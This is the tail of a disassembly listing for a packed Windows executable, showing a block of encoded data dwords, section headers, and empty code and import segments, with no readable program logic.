		dd 6A1724E3h, 0C673CF5Ch, 1353CE07h, 6A581645h,	0A00C447Bh
		dd 2F9E0252h, 0AEBDCDF5h, 0A5E2E823h, 0DCAF00FDh, 61C423B1h
		dd 0E7E5151Ah, 0EA837024h, 0F35A9361h, 53233FE8h, 4BA171ECh
		dd 5A5BDC78h, 551C173Ch, 498E5890h, 5B01124Fh, 549793FCh
		dd 0B2618AECh, 77A2CA76h, 601DC35Eh, 4752E62h, 43C8520Bh
		dd 0E24C5B34h, 5B73691Bh, 41275BCCh, 797FE089h,	0EA6CA829h
		dd 94BA8821h, 0D4E0A639h, 12DB36B7h, 9E70D456h,	357F97C8h
		dd 0FABD2C0h, 25022021h, 56B12224h, 2EFED1A7h, 9D5569BDh
		dd 0EC87E9F8h, 930FC42Dh, 0E95551B6h, 0CC375DC0h, 0EC4E50BDh
		dd 0F0B0CAB5h, 1DC935ECh, 0AED81246h, 0C00D074Ch, 52C49FB7h
		dd 0A18E3A05h, 55A76F21h, 0E2A6E253h, 31FB92A5h, 0B39E6336h
		dd 0FE58A7A4h, 0FA24B52Bh, 19DA0470h, 1A3260BDh, 0B6279EB9h
		dd 0DF986E94h, 94AA02F4h, 0B15DCDB2h, 9B956288h, 0B4568272h
		dd 0B7F172C7h, 0BD0033h, 56168F28h, 0ED9D88h, 2A8D383Fh
		dd 580AA6Fh, 50C196CAh,	0A4451CAAh, 0BD48E903h,	156DD33Bh
		dd 0FA39553Ch, 0B2E6BB45h, 137116A3h, 0FA57310Fh, 22203288h
		dd 350D45A7h, 259F05F6h, 0AE795A7Ah, 0C38A9A98h, 8372DB35h
		dd 0A8B3BF2h, 0D587CAAFh, 8830BFDEh, 0B409EB63h, 15AB0A87h
		dd 1594F148h, 371EAB04h, 7FE4FA02h, 8DA9294Dh, 70567152h
		dd 37A3DC57h, 3BB176A3h, 307F11C3h, 8FE57F38h, 0A6E9AB04h
		dd 0B65C67F3h, 22B39112h, 8A09446Bh, 35B54CF1h,	6BA7F467h
		dd 0C635401Fh, 0E565E938h, 0E11F4E08h, 2E3CE87h, 0D6F87529h
		dd 0AE31E24Dh, 0CFAE59CCh, 0D3087678h, 0A1EAB943h, 121C6609h
		dd 0F08AE42Eh, 0A1338ACFh, 0FCCA5004h, 64E1AADEh, 4756F05Eh
		dd 89DC36FCh, 0BC722618h, 0B228DC19h, 6D0B097Bh, 2C7F49BDh
		dd 6C6EA971h, 6C3B6AC9h, 33E93096h, 37185746h, 0F6F575C8h
		dd 0F9E86908h, 99D3EF84h, 0D9C8BE70h, 799C4B97h, 85C11D30h
		dd 20C0h, 100h dup(0)
_nsp1		ends

; Section 3. (virtual address 000A2000)
; Virtual size			: 00000F58 (   3928.)
; Section size in file		: 00000F58 (   3928.)
; Offset to raw	data for section: 000A2000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp2		segment	para public 'CODE' use32
		assume cs:_nsp2
		;org 4A2000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
		dd 3D6h	dup(0)
_nsp2		ends

; Section 4. (virtual address 000A3000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 000A3000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4A3000h
		align 2000h
_idata2		ends


		end start